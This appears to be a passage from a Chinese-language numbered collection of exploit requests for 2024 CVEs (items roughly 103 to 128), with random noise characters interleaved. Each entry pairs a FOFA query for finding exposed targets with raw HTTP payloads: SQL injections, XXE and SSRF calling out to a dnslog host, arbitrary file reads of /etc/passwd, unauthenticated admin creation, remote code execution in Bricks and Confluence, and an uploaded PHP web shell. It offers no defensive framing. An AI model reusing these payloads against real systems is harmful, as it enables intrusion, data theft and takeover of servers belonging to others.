User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
( ^( v' N8 @( v0 `0 g' LConnection: close
9 H6 g7 }% |3 ?& @: wContent-Length: 204
Content-Type: application/x-www-form-urlencoded
! i: z& B1 J4 `7 V$ h  Z% n. f. nAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

& l7 M( |0 P# h! I2 U+ j4 G
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
7 I! v! G' {( m$ ~5 A" Z<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
9 i; X1 ]. B( kCVE-2024-0569
- \5 y2 v; Q5 s0 Y  G# y% IFOFA：title="TOTOLINK"
9 _& P- O: N1 A1 t# VPOST /cgi-bin/cstecgi.cgi HTTP/1.1
6 w: M! A/ I: N1 G7 I' g9 rHost:192.168.0.1
" U& _, F1 \1 A. q; G& @- v5 xContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
2 U! Y) ^( Q; Y; h; }5 S' o7 r6 vUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
, r- f- M5 _) R# C: d6 u% }/ C8 VContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
7 @- v1 K6 O; l/ N- MReferer: http://192.168.0.1/advance/index.html?time=1671152380564
6 j3 f: M- ]5 n( r7 v; l! WAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
% R! K% K; ^& uConnection:close

{
"topicurl":"getSysStatusCfg",
9 x5 o' N- X# T0 ["token":""
}

* r" M1 I( F$ x0 C% g9 X105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
( @' v, {9 m) r6 f. x
2 V  y& B5 f1 Q" f6 s106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
. q1 U2 `# |9 J7 W' v$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' G! W3 v$ [/ ~3 y9 @Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* h3 v" d2 N3 A/ u! x' uConnection: close

9 ]( k# V: q. ?9 a
7 y: D4 R8 D' `# s, C$ J1 y( I4 o" Y107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


) X5 M. b* L8 _+ n108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
5 ]7 u. ]0 R3 f3 N1 \+ O8 W0 E% K7 sAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
+ U; C# p& @3 u  p1 H, g, ?: E  Y3 F0 `Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


" ^( F- w* Z& v2 w3 @' ^& a109. Jenkins CLI 任意文件读取
6 R- Z  T! |) k, d$ e9 {2 T7 kCVE-2024-23897
+ F  V# A& j' Z8 ?6 |3 H: GFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
1 c% y! V% B2 p8 B6 T1 L5 tContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
! L9 `" g7 ~5 u( ?% H6 G* DSide: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

8 ]7 b; }+ d0 t" \. s" U
POST /cli?remoting=false HTTP/1.1
Host:
! e) y- ~, M6 ]# {1 J4 {1 z8 I$ ^Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
  H' i/ q2 `& D5 j4 k8 g1 sContent-Length: 0
& v: _! W) K# Z6 I. P! C

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
; X) P& K  ?5 L[COMMAND]
- M7 y7 `$ j' k5 [; o/ d% S; ]Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

; N# w% Z3 T0 I5 z1 o
6 w% N4 |- [# K2 z$ Y; I. Y. p  I8 S110. Goanywhere MFT 未授权创建管理员
  H' W$ w3 K( g2 ]8 E/ LCVE-2024-0204
: `1 |+ n1 h: \% |) T) S1 p8 rFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ p+ G3 l, \1 A5 A7 rGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
; ]% [; {4 K# XHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
; m* B% @8 @9 \9 s6 ZConnection: close
Accept: */*
Accept-Language: en
, F& F/ K% [) K) S% b5 }& z7 B( ~- uAccept-Encoding: gzip

  A6 `1 ?, w0 z) A: ]2 N
' i$ U. Z* S; }% F: C111. WordPress Plugin HTML5 Video Player SQL注入
$ Q; ^  W2 Y5 G# F9 D/ CCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
; v5 t- b. ]1 O8 q: W; p1 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- e  j/ L: h) u9 |7 ?9 YConnection: close
Accept: */*
; F/ H. O/ A3 C% A+ ?Accept-Language: en
8 [: N1 k3 E$ `Accept-Encoding: gzip
/ J0 w# H, l, p4 L6 ]5 T

. i* r5 l7 ]4 T: ?4 b! b8 u% T112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
4 O3 S7 Z4 [1 |  p8 T. p: n! \FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
5 [8 {1 G. J! K% J. ?
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

$ y( n0 Q' E; Y- ~# U
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
! i. ~; |- w5 Z8 X% i  g& l- aFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 v; I1 t) K9 V1 N( _3 k) S' e0 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" y6 A' H( ~/ u& R( NConnection: close
" V; L$ X7 n% ^Accept: */*
9 ]) S" v7 ]' G( ~0 }4 w. WAccept-Language: en
, @; S1 i: x6 W2 |' fAccept-Encoding: gzip
; E3 t* \1 s1 X% c8 V

' |$ q% h: X/ k& ?! [$ y3 p/ f114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
" V, g4 \8 E  V- }9 a6 I( d. dGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
4 Q9 Y% S0 g6 {/ N* zUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
0 F! h( K0 x, l+ B0 Z( H' d+ ~Accept-Encoding: gzip, deflate
5 H* a* E4 D6 g# h. U- O/ BConnection: close

1 Q7 Y8 D0 v' x$ D" [
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
- ]! p2 C! s* f0 K0 h8 `' jHost: x.x.x.x
9 T9 R& T/ L+ p; J# e" BUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
1 [- I% X( j$ {/ HConnection: close
Accept-Encoding: gzip


) x) T  E& H' H9 C2 i第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
& R: v) l# M8 e% G2 ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
6 g# b4 L9 H7 {2 _" {0 g$ q1 d/ wContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
"postId": "1",
) D# R) J1 q0 |0 W+ e% Z  "nonce": "第一步获得的值",
& p! Z/ S' J. b" _* w, w1 R, B  "element": {
9 l7 q; @' |+ C( l    "name": "container",
    "settings": {
      "hasLoop": "true",
% r( U6 ~2 s% m8 u0 u+ f0 N4 S8 v      "query": {
! p# d  v3 c  F/ L1 B; u2 E& V        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
( N: X1 C5 a& \  ^8 ^  j& s  I      }
    }
5 S- ~) l: K2 k# B. e  }
1 t3 ?. |! V* \: ^5 s8 a8 i}
; m: m6 P2 S& c7 n3 D5 |+ v$ i" n

' P# s. t" ^5 W; {116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
5 A; W' c9 J& ~3 J$ K4 [8 D$ `- OPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
: _8 s, v! }* O3 x- `- v% Y1 AHost:
0 t! S% @1 U; e/ @- r" V/ |Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
6 m+ ^6 ~; P' R4 B( B, bContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
* i+ D# i# T6 h' V----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
2 m7 B2 ]( O1 ?4 x4 K9 QContent-Type: image/png
* u- Q# d! R/ m3 U* U2 |) o1 Q----------767099171--

# [( h: a2 y9 A4 |0 O
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
' [5 ^; ?# j+ @- tGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 C9 I" T: M$ N+ E2 G4 q2 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 }5 x! j+ t5 L9 qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) E1 f% m# N7 V! V' B) O% A6 {+ ~; D! WAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
1 \) ]( j; I) i% H& s: s; l
, y0 N6 e' S5 d% F& Y0 M- C
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
! c4 u  b8 S( S3 n; ^7 O$ oCVE-2024-0939
1 e. E4 h( L3 XFOFA：title="Smart管理平台"
. W. A1 M- y4 J8 d! n, w8 Q! iPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' J1 _! }; T8 V8 t! y; L4 h  KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
- @7 t: k* J9 \) B6 r7 q9 h" v' hReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
6 L1 E! H! q; @$ ~, ]7 I" z5 sSec-Fetch-Mode: navigate
8 v1 o- ]9 o  |7 I/ {# f4 q, F/ HSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
0 P! P9 A8 e3 N1 s2 R' u0 n' uTe: trailers
7 w; c' b* d7 UConnection: close
) C# k- j9 [0 e, _' ?2 ~4 R6 G
8 [" _/ t' Y" T+ Z- q2 H! Z-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
" R1 q. m& v0 I7 D4 {( z?>
' F# @# t8 S  H2 X-----------------------------13979701222747646634037182887
3 H% g/ n' @7 ~+ Q, M# h$ pContent-Disposition: form-data; name="txt_path"
+ h1 S. W# G- l2 O, a0 c4 c
! q0 M8 U" `( S4 \/home/src.php
: e% S; \7 |8 W3 [' i7 t: _-----------------------------13979701222747646634037182887--
, B6 O1 [( n6 g/ s: R- f
# o" G8 c9 O3 |9 v# q
访问/home/src.php
* t% E) w" s: E6 Z- T, G
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
# x! a6 r# C5 s* x( q% ~FOFA：title="Smart管理平台"
2 F5 v- s7 u# L9 q, c先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
+ o) d$ y4 W/ c! Q  `+ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
, }! @* m8 q6 H2 r, IAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ f; D: m" i) G' e4 {# KAccept-Encoding: gzip, deflate
+ o$ o- }! m, g$ \- k9 c3 z5 K" `Content-Type: application/x-www-form-urlencoded;
' W% {4 R" Z% I; _7 z' z* qContent-Length: 109
) o% E8 b( v- c6 I  P+ x+ ZOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
- K& o2 w# f, F9 Z4 M; JSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
0 X( _( K& h7 V  i# t0 n0 U! rX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
7 I5 a4 @/ J* Y. ^7 bTe: trailers
Connection: close
: t. l$ [' ?7 s  H# }
' @' A$ ^* y  M  esrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
$ D- r4 z4 |3 RHost: ip:port
' d9 X& x+ n: _8 c9 bCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
& c3 t0 ~" R: T! iUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
) p$ B0 P/ ]* w+ h& S  H0 H' Z7 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 v* l. {; J1 }- n6 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 ~2 ?- [/ L( ]( L# Z$ jAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
" l3 T" q/ |: |; t1 {( lUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 c1 J. x1 t; }9 ~1 z2 @' x- JSec-Fetch-Mode: navigate
: ~* _2 H- [$ W& c8 Y- V) _* OSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
: G1 E. S6 h% i7 R. uTe: trailers
Connection: close
. Y0 H0 ~; s0 K; r
-----------------------------42328904123665875270630079328
* Y( {, a& c4 XContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

( w: Q- M" J$ ]$ P7 v. ~, [<?php phpinfo()?>
-----------------------------42328904123665875270630079328
7 L2 ?7 Z7 Y; @6 t5 a7 mContent-Disposition: form-data; name="id_type"
+ o+ T! a) y0 T+ V! [5 J
0 E; M: v& r9 T! U$ D5 Y3 Y  l  m0 L9 m1
  H, u* V6 J8 Z/ l( I+ x( V+ \- I-----------------------------42328904123665875270630079328
0 c% B* i  B. I5 j# ^Content-Disposition: form-data; name="1_ck"
  A' a; i0 u6 \, x/ P5 ?$ F( z
1_radhttp
2 A* f8 r) ?( a- C$ C% x7 ]: [-----------------------------42328904123665875270630079328
, }5 _$ B$ R0 [8 AContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328

& a8 b7 j* S8 h! V9 y/ d
文件路径/upload/2.php
$ {) M2 P  @7 G
1 J- N* i0 W! g121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
* p/ ~! {# D3 [: k6 y% ZPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
5 d, A4 U" I" e7 e) A% N8 |# i& OCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
! y( N4 V" I: g: m5 |User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
3 D. L/ U' H3 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 Q5 L; c; f' N+ UAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
8 ]/ c0 U4 g- b4 `6 dSec-Fetch-User: ?1
Te: trailers
" O" ^7 `5 j! ^6 GConnection: close
/ x; K0 @1 O; I8 u
4 H/ M4 X8 s& U& V-----------------------------42328904123665875270630079328
6 S9 [6 p  J: k5 Y1 W" {2 LContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

2 k" i2 |) n. {1 K" ~0 c* _<?php phpinfo();?>
- ]' p3 {. F2 G5 u0 Z; p" d8 P, {; R* D-----------------------------42328904123665875270630079328
8 k2 J3 Y5 q6 {- aContent-Disposition: form-data; name="id_type"
0 k6 {. W5 N6 B( q& a
1
-----------------------------42328904123665875270630079328
- t5 Q3 P( _& w( N2 J. Z- U* \Content-Disposition: form-data; name="1_ck"

5 J+ h- \+ D7 t: D8 H5 }$ e+ e1_radhttp
, R  ]6 P, }& `* M-----------------------------42328904123665875270630079328
$ C3 C2 ]9 O  mContent-Disposition: form-data; name="hidwel"
9 u' M3 ]/ j5 |; K  {1 D
; I$ u8 [. V" o8 X2 f$ U& @8 a% gset
0 ?& T$ W' {( G7 x9 A-----------------------------42328904123665875270630079328
: e0 n& ^4 S5 n8 a) h1 J

boot/web/upload/weblogo/1.php

$ p5 w1 o9 i* P- M8 m122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
1 Y) Q# U! l- E% [- U  d其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
% X' E  d: N& I1 t5 zHost: x.x.x.x
+ [6 X$ U" ?5 B8 ]* o4 W1 lCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
1 r4 C# v/ N4 U; ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- F$ o, y" f( n6 [% S6 G' ?- m; M* GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 q& N, |* k8 Z) [% Y6 d/ T+ HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
% a. e$ ?% N: m4 a9 b1 gSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* G+ U9 E5 N& w3 U$ k9 kSec-Fetch-Site: none
Sec-Fetch-User: ?1
% c$ [* j: y7 UTe: trailers
Connection: close
, m6 x" B" a1 d7 _

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
- p9 e' X, P. F3 B8 G) I- GPOST /template/aui/text-inline.vm HTTP/1.1
3 H  {2 D$ {$ k3 g0 VHost: localhost:8090
+ V% Y" A; e3 `5 }- H9 cAccept-Encoding: gzip, deflate, br
: w& M, }' m( NAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
* A7 r9 b# ]; @; b. g) uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
# P5 m# l1 _% E+ r
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

. p8 N/ I0 r* W
124. 湖南建研工程质量检测系统任意文件上传
9 a, c/ ]! S3 S7 v0 `& [( v8 C4 KFOFA：body="/Content/Theme/Standard/webSite/login.css"
1 H9 C# Z% M- k1 q) i" V, E5 R1 JPOST /Scripts/admintool?type=updatefile HTTP/1.1
9 E" S9 Y3 `. D- l! e) CHost: 192.168.40.130:8282
3 O$ w7 ]0 O7 A8 E: OUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
& g1 Z: N$ _- j4 C5 S8 }3 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 ~/ L" w2 z( E5 BAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
9 ~: ?' X; p8 e& H4 D* |Content-Type: application/x-www-form-urlencoded
2 l% V5 e7 l: D! _
/ V) {9 N9 [! E7 EfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
7 M) [6 M# R9 o" O
+ ]2 [5 |2 j+ c2 W4 D8 c! k
% \; o. W3 L0 c8 O: ~4 O4 Z$ V, G  ihttp://192.168.40.130:8282/Scripts/abcgcg.aspx
# Z* l; d3 I5 X7 [8 v& G
" j5 [2 Y% g9 O: [125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
% D4 T/ l) h4 d: Q- d( ]0 mFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

  |5 j9 M4 ~0 g
使用方法
+ g# N0 P( ?$ @6 gpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
* Y, h% M: N+ @1 x0 _
" Z8 v- N) \/ R9 p: Z8 t  R
4 S5 @$ ]# L% i/ ]" V; `创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
% ^$ o. v' z8 J$ \4 f2 rFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 I0 |2 R. a# ^; b; Y8 m+ {Connection: close
Accept: */*
- Y9 d# |( d( u8 DAccept-Language: en
Accept-Encoding: gzip


4 ^. p  Z, b& U7 P! q$ X2 Z( w127. 广联达Linkworks DataExchange.ashx XXE
! ~) c: P  V) ]0 T: U3 rFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% C" U6 ~& m( u) cAccept-Encoding: gzip, deflate
4 i" p1 G$ }* D) A# {# r6 rAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
9 d2 [) B% ]5 U# MPurpose: prefetch
Sec-Purpose: prefetch;prerender
3 z* q* R/ E" f$ J: v! k4 M, f
! o: u$ N  C4 J" C# ?8 ~! _' c! ?$ R# i------WebKitFormBoundaryJGgV5l5ta05yAIe0
' y4 [* ^+ m1 r. Q! nContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
5 _' M2 E+ R' {/ Z4 y8 B3 t( G/ a' VContent-Type: text/plain
4 {; ?9 ]- @% B# L: n4 i; g7 ]
. |8 j2 J: J( A* E% R; e<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
6 A: [1 `% c. t" y3 ?7 C% t, }<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
/ V2 c( k) A1 A0 J
# a. |' r0 _- ]& h$ D

" Y" l/ T) C) ^0 j2 R7 C; i0 G; A" Y4 {128. Adobe ColdFusion 反序列化
CVE-2023-38203
' r( \2 n% M# G% H* PAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
6 x0 q6 [6 ]7 [FOFA：app="Adobe-ColdFusion"
PAYLOAD

